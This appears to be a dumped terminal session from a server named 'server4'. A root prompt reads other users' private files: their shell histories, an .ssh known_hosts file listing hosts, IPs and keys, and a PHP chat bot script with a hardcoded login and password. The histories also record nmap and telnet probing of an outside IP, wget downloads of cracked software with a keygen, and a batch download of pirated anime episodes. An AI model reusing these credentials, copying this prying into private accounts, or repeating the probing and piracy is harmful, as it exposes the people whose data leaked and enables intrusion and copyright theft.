cp talk.php /home/yumiro/talk.php
cp talk.php /www/server4/talk.phps
php talk.php 
kill 24874
emacs b0t.php
--More--(57%)

php b0t.php
php b0t.php &
kill 21145
emacs b0t.php
php b0t.php &
kill 7829
emacs b0t.php
php b0t.php &
php talk.php 
sudo su zloche
ssh zloche@www.zloche.net
w
top -b |grep php
top -b |grep php
kill 20493 791
top -b |grep php
kill 17412
wall
wall
wall
w
ssh zloche@www.zloche.net
w
--More--(60%)

write djdd
w
w
w
w
w
w
w
w
w
top -b |grep php
sudo bash
w
top
ls
cd msnbot/
ls
emacs msnbot.php
top -b
killall php
nohup php msnbot.php
nohup php msnbot.php &
w
--More--(62%)
w
less nohup.out 
du -csh nohup.out 
w
w
w
w
top
cd ..
mkdir vaginite
emacs php.php
mv php.php vaginite/
cd vaginite/
php php.php 
ls
php php.php 
w
du -csh
ls * |grep 'vaginite'
du
ls * |grep -n '*'
ls * |grep -n '_'
ls
--More--(64%)
ls |grep -n "vaginite"
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ping www.zloche.net
ping www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
w
w
ssh stax@80.248.208.223
ping 80.248.208.223
ssh stax@80.248.208.223
w
ssh stax@80.248.208.223
ssh stax@80.248.208.223
ssh stax@80.248.208.223
ssh stax@80.248.208.223
w
ssh stax@80.248.208.223
ping www.zloche.net
--More--(69%)
w
w
ssh stax@server3
ssh stax@www.zloche.net
ping www.zloche.net
ping www.zloche.net
w
who
ls
w
cd files/
ls
cd ..
ssh stax@server3
ssh stax@www.zloche.net
ping www.zloche.net
php real.bot
php http.php
;s
ls
php WebServer.php 
w
pimg www.zloche.net
--More--(72%)

ping www.zloche.net
w
ping www.zloche.net
php WebServer.php 
php WebServer.php 
php WebServer.php 
w
w
ping www.zloche.net
ping www.zloche.net
ls
cd zradio-script/
ls
mv The\ Arcade\ Fire\ -\ Wake\ Up.mp3 song.mp3
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
php server.php 
--More--(76%)

rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
rm server.php 
emacs server.php
php server.php 
w
w
--More--(80%)
w
w
w
top
ping www.zloche.net
w
w
w
ping server3
ping www.zloche.ne
ping www.zloche.net
w
w
w
cd ..
ls
cd irc-server/
ls
php IRC.php
whois 210.75.25.28
whois 210.75.0.0
whois 210.0.0.0
whois 210.75.0.0
--More--(83%)
ping 210.75.25.28
nmap 210.75.25.28
nmap -P0 210.75.25.28
w
telnet 210.75.25.28 25
cd msnbot/
ls
killall php
rm nohup.out 
php msnbot.php
php msnbot.php
emacs msnbot.php
emacs msnbot.php
php msnbot.php
emacs msnbot.php
php msnbot.php
emacs msnbot.php
w
ls
cd msnbot/n
cd msnbot/
ls
emacs msnbot.php
--More--(86%)

top
killall php
php msnbot.php
emacs msnbot.php
php msnbot.php
w
r mno
du -csh nohup.out 
rm -csh nohup.out 
rm  nohup.out 
nohup php msnbot.php &
less nohup.out 
w
ping www.zloche.net
w
w
w
ping www.zloche.net
w
who
ssh stax@irc.rasterized.net
w
ping www.zloche.net
--More--(89%)

ssh stax@irc.rasterized.net -p 443
w
w
w
ping www.zloche.net
ping www.zloche.net
w
ping www.zloche.net
w
who
who
ping www.zloche.net
w
ping www.zloche.net
ping server4
w
netstat
sudo bash
netstat
netstat -n
whois 207.46.107.41
netstat -n
netstat -n
--More--(92%)

netstat -n
w
w
w
who
who
netstat -n
netstat -n
less nohup.out 
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
w
w
less nohup.out |grep laurent
netstat -n
ping www.zloche.net
ping irc.rasterized.net
whois 74.69.17.126
netstat -n
--More--(96%)

netstat -n
w
ping craplandia.org
ping craplandia.org
w
netstat -n
who
ssh root@www.zloche.net
cd msnbot/
cd admins/
ls
emacs n1ck.usr
CD ..
cd ..
nohup php msnbot.php &
r, admins/n1ck.usr 
rm admins/n1ck.usr 
cd msnbot/
ls
less nohup.out 
w
ssh zloche@www.zloche.net
ssh zloche@www.zloche.net
server4:/home/stax# cd .ssh
server4:/home/stax/.ssh# ls -alh
total 16K
drwx------   2 stax stax 4.0K Apr  4 18:43 .
drwxr-xr-x  25 stax stax 4.0K Jun  8 04:51 ..
-rw-r--r--   1 stax stax 3.9K Jun  8 08:13 known_hosts
-rw-r--r--   1 stax stax 1.3K Feb  7 00:39 known_hosts~
server4:/home/stax/.ssh# cat *
server1,65.92.156.62 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server3,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
server2.zloche.net,65.94.84.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
74.14.168.190 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server2 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx
05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS
3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6b
IiuE=
70.53.252.108 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
70.55.196.23 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.55.196.105 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
www.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
irc.rasterized.net,76.108.85.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e
/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4Awx
Urzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpHMuA
KU70=
www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
www.zloche.com,81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4O
rbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2Ns
bIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBH
EeuM=
server1,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZz
wK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLr
rrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJ
Mb4U=
server1.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZz
wK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLr
rrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJ
Mb4U=
irc2.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX
8NVSzLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU
7Fp5Tv6mPnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR
4j9rTfaVkx9BDmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrj
Ckdbacz9zV4ROmc5c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmB
QcsqBSPYmC1xNms9c6cbnZeUvjYFY0rfQql39oytXeJ7w==
server4:/home/stax/.ssh# cd ..
server4:/home/stax# cat b0t.php
<?php
$address = "www.zloche.net";
$movetime = 5;
$lastmovement = time();
$lastmovement = 9999999999999999999999999999999;
$port = 22222;
$lastasked = time();
$boss = array('stax','zokio');
$user = 'yotlm';
$pass = 'asdfasdf';
$socket = fsockopen( $address , $port );
fwrite($socket, "INIT=2963739=" . $user . "=1=10sssss=" . $pass . "=bot" .
chr(0));
//fwrite($socket, "TELEPORTSPOT=32=255=255" . chr(0));
$suivre = 0;

$clients = array();
while(true)
{
socket_set_blocking($socket,false);
$input = rtrim(fgets($socket));
$input = str_replace(chr(0),'',$input);
$comp = split('=',$input);
if(strlen($input) > 2)
{
//echo "\n\n\n" . $comp[0] . "\n\n\n";
//echo $input . "\n";
}
if($comp[0] == 'MSG')
{
$message = split('=',$input,3);
$message = $message[2];
$message = explode(chr(0),$message);
$message = $message[0];

echo '<' . $comp[1] . '> ' . $message . "\n";

}
$say = file_get_contents("say");
if ($say != "") {
fputs($socket,"MSG==Zokio=:-::::".$say.chr(0));
unlink("say");
$file = "say";
$fp = fopen($file,"w+");
fwrite($fp,"");
fclose($fp);
}

//echo "\n\n\n" . $comp[0] . "\n\n\n";
if($comp[0] == 'PING')
{
fwrite($socket,"PONG=" . $comp[1] . chr(0));
}
if($comp[0] == 'KICK')
{
$socket = fsockopen( $address , $port );
fwrite($socket, "INIT=2963739=" . $user . "=1=10sssss=" . $pass . "=bot" .
chr(0));
fwrite($socket, "TELEPORTSPOT=32=255=255" . chr(0));
}
/*
$socket = fsockopen( $address , $port );
fwrite($socket, "INIT=2963739=" . $user . "=1=10sssss=" . $pass . "=bot" .
chr(0));
fwrite($socket, "TELEPORTSPOT=72=255=255" . chr(0));

*/

//EWONE=3784=10=4=3=250D48=8753E1=2B7ED7=franco==.

if($comp[0] == 'NEWONE')
{
$clients["" . strtolower($comp[8]) . ""] = $comp[1];
//echo 'test';
echo $clients["" . strtolower($comp[8]) . ""];

foreach($clients as $value)
{
echo $value . "\n";
}
}

if($comp[0] == 'CLICK')
{
if($comp[1] == $suivre)
{
fwrite($socket,'CLICK=' . $comp[2] . '=' . $comp[3] . chr(0));

}

}



//MSG=xxladyxx=toi mon ange qui vole emaine moi  pour ne plus soufrire dans t
//bras sa jlai inventer il a 2 semaine .


if($comp[0] == 'MSG')
{
$comp2 = split('=',$input,3);
$quiadit = $comp2[1];
$aditquoi = $comp[2];

if(strtolower($aditquoi) == '!version')
{
echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,'MSG==undefined=:-::::REALB0T V1.1 - par Stax' . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}




/*if(strtolower($aditquoi) == '!version')
{
echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,'MSG==undefined=:-::::REALB0T V1.1 - par Stax' . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}
*/


if(preg_match("#^!emotion (.+)#i", $aditquoi) )
{
//echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
$tobsaid = explode('!emotion ',$comp[2],2);
$tobsaid =  $tobsaid[1];

fwrite($socket,'EMOTEID='. $tobsaid . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}


if(preg_match("#^!suis (.+)#i", $aditquoi) )
{
$suivrelui = explode('!suis ',$comp[2]);
$suivrelui = $suivrelui[1];
$suivre = $clients[strtolower($suivrelui)];
}
//MSG==undefined=:-::::/msg whitehack ^^.






if(preg_match("#^!dit (.+)#i", $aditquoi) )
{
//echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
$tobsaid = explode('!dit ',$comp[2],2);
$tobsaid =  $tobsaid[1];

fwrite($socket,'MSG==undefined=:-::::' . $tobsaid . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}


if(preg_match("#^!click (.+)#i", $aditquoi) )
{
//echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
$tobsaid = explode(' ',$comp[2]);
//$tobsaid =  $tobsaid[1];

fwrite($socket,'CLICK=' . $tobsaid[1] . '=' . $tobsaid[2] . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}







if(strtolower($aditquoi) == '!boss')
{
echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,'MSG==undefined=:-::::Le boss, c est STAX!!!!!!!' . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}


if(strtolower($aditquoi) == '!moonwalk')
{
//echo '11111!!!!!';
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,'CLICK==' . chr(0));
fwrite($socket,'CLICK=0=0' . chr(0));
//fwrite($socket,'CLICK==' . chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}




if(strtolower($aditquoi) == '!bouger')
{
$lastmovement = time() - 5;
//$lastmovement = 9999999999999999999999999999999;


}
//MSG==undefined=:-::::/msg whitehack ^^.






if(strtolower($aditquoi) == '!stop.bouger')
{
//$lastmovement = time() - 5;
$lastmovement = 9999999999999999999999999999999;


}
//MSG==undefined=:-::::/msg whitehack ^^.






if(strtolower($aditquoi) == '!date')
{
$temp = time() - $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,'MSG==undefined=:-::::la Date : ' . date("m/d/y H:i:s") .
chr(0));

}
//MSG==undefined=:-::::/msg whitehack ^^.

}

}

$temp11 = time() - $lastmovement;
if($temp11 >= $movetime)
{
fwrite($socket,'CLICK=' . mt_rand(25,400) . '=' .  mt_rand(25,400) . chr(0));
$lastmovement = time();
}


}
ver4:/home/stax# cat meh.sh
wget http://88.191.14.73/awarefirst/Blood+/Blood+_02_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_03_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_04_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_05_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_06_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_07_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_08_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_09_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_10_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_11_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_12_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_13_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_14_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_15_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_16_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_17_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_18_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_19_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_20_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_21_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_22_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_23_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_24_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_25_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_26_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_27_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_28_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_29_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_30_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_31_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_32_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_33_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_34_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_35_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_36_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_37_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_38_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_39_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_40_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_41_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_42_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_43_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_44_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_45_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_46_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_47_DVD_anime-master_fr.rar
wget http://88.191.14.73/awarefirst/Blood+/Blood+_48_DVD_anime-master_fr.rar
wget
http://88.191.14.73/awarefirst/Blood+/Blood+_49_DVD_anime-master_fr.rarserver4:/home/stax# 
server4:/home/stax# cd ..
server4:/home# cd gumbie/
server4:/home/gumbie# ls -alh
total 263M
drwxr-xr-x  10 gumbie gumbie 4.0K May 30 04:45 .
d-wx--s--x  17 root   root   4.0K May  6 03:51 ..
-rw-r--r--   1 gumbie gumbie  266 Jan 28 17:50 .alias
-rw-------   1 gumbie gumbie 3.6K Jun  9 05:53 .bash_history
-rw-r--r--   1 gumbie gumbie  567 Jan 28 17:50 .bash_profile
-rw-r--r--   1 gumbie gumbie 1.8K Jan 28 17:50 .bashrc
-rw-r--r--   1 gumbie gumbie  375 Jan 28 17:50 .cshrc
-rw-r--r--   1 gumbie gumbie   14 Feb  3 16:25 .screenrc
drwx--x---   2 gumbie gumbie 4.0K Feb  3 16:12 .ssh
drwxr-xr-x   4 gumbie gumbie 4.0K May 27 17:35 Apps
-rw-r--r--   1 gumbie gumbie  95M May 27 18:08 Backup
drwxr-xr-x   2 gumbie gumbie 4.0K May 27 17:49 Backups
drwxr-xr-x   5 gumbie gumbie 4.0K Jun  1 05:52 Incoming
-rw-r--r--   1 gumbie gumbie 168M May 30 04:54
Ircd_Services_Backup-052907.tar.bz2
drwxr-xr-x   2 gumbie gumbie 4.0K May 27 17:47 Text
drwxr-xr-x   2 gumbie gumbie 4.0K May 27 17:43 Work
drwxr-xr-x   6 gumbie gumbie 4.0K Jun  3 22:15 public_html
drwxr-xr-x   6 gumbie gumbie 4.0K May 27 17:47 wifi
server4:/home/gumbie# cat .bash_history 
w
lastlog | less
last | less
ls /
ps aux | less
ps auxww | less
id
ulimits
ulimit -a
free
uptime
sudo su -
passwd 
ls -la .ssh
chmod o-xr .ssh
pico .ssh/authorized_keys 
pico .screenrc
sudo su -
uptime
screen -x
vmstat
sudo su -
uname -s
uname -a
ls /usr/src
df
screen -e^Gg
screen
sudo su -
screen -e^Gg
screen -e^Gg
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
w
w
mkdir Incoming
ls /home
adduser ircd
sudo su-
sudo su -
screen -x
sudo su -
ps x
kill -9 3237
screen -e^Gg
passwd
ssh zloche.net
ssh zloche.net
ssh zloche.net
sudo su -
sudo su -
ssh zloche.net
ssh zloche.net
sudo su -
screen -x
screen -x
screen -wipe
screen -e^Gg
ncftp server3
apt-get install ncftp
sudo su -
rm -rf Electronics_Apps 
ls
sudo su -
ls
mkdir public_html
mv Electronic_Apps/ public_html/
ls -la public_html/
cd public_html/Electronic_Apps/
ls
cd Xlinx/
ls
rm -rf Xten.Networks.X-Pro.v2.2.2.ALL.PPC.Retail-DVTPDA/
ls
ls -l
rm *linux*
rm *Linux*
ls
cd public_html/
ls
cd Electronic_Apps/
ls
cd Xlinx/
ls-l
ls -l
df
cd ..
screen -x
df
du | tail
cd public_html/
ls
ls Electronic_Apps/
mv Electronic_Apps/Ebooks/ .
ls
ls -l
ls
ls -la
cd ..
ls -la
less .alias 
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
cd public_html/
rz
screen -x
rz
screen -x
screen -x
ls -l
df
mkdir Backups
mv NagiosAgent_nrpe.tgz roots_new_s3_apps.tar.bz2 Backups/
ls
cd New
mkdir DW
cd DW
man wget
wget -b
http://201.221.144.232/Appz/Adobe.Dreamweaver.CS3/Adobe.Dreamweaver.CS3.exe
ps x
wget -b http://201.221.144.232/Appz/Adobe.Dreamweaver.CS3/DW-CS3-Keygen.exe
wget -b
http://201.221.144.232/Appz/Adobe.Dreamweaver.CS3/DWcs3-Medicina-www.ProgramasFull.com.rar
wget =b
http://chaiyaphum.nfe.go.th/download/program/Macromedia%20Dreamweaver%20MX/Macromedia%20Dreamweaver%20MX/Serial%20No.txt
wget -b
http://chaiyaphum.nfe.go.th/download/program/Macromedia%20Dreamweaver%20MX/Macromedia%20Dreamweaver%20MX/Serial%20No.txt
fg
jobs
ps x
wget -b
http://chaiyaphum.nfe.go.th/download/program/Macromedia%20Dreamweaver%20MX/Macromedia%20Dreamweaver%20MX/Setup.exe
tail -F wget-log*
ps x
ps xw
ps xww
ls
ps xww
fg
tail -F wget-log*
watch tail -F wget-log*
watch tail wget-log*
tcsh
fg
tail -F wget-log*
ps xww
df
df
ps xww
fg
tail -F wget-log*
ps xqq
ps xww
fg
ls -l
ls -l 
ls -l 
ps xww
fg
screen -x
screen -e^Tt
screen -x
screen -e^Tt
screen -x
screen -x
screen -x
cd DW
ls
sz *
screen -x
screen -x
screen -x
ls
ls Apps/
ls
ls DW
mv DW Apps/Dreamweaver
ls
ls Incoming/
ls public_html/
df
ls
cd public_html/
ls
cd Ebooks/
ls
cd Programming/Perl/
ls -la
less index.html 
ls
ls -l
ls ..
ls ../python
ls ../Python/
ls -l ../Python/
ls -la ../Python/
mv index.html index.html-broken
ls
cd Incoming/
rz
ls
tar -tzf snort-2.7.0.beta2.tar.gz 
tar -xzf snort-2.7.0.beta2.tar.gz 
cd snort-2.7.0.beta2
ls
./configure --help
./configure 
rz
mv libpcap-0.8.1.tar.tar libpcap-0.8.1.tar.gz
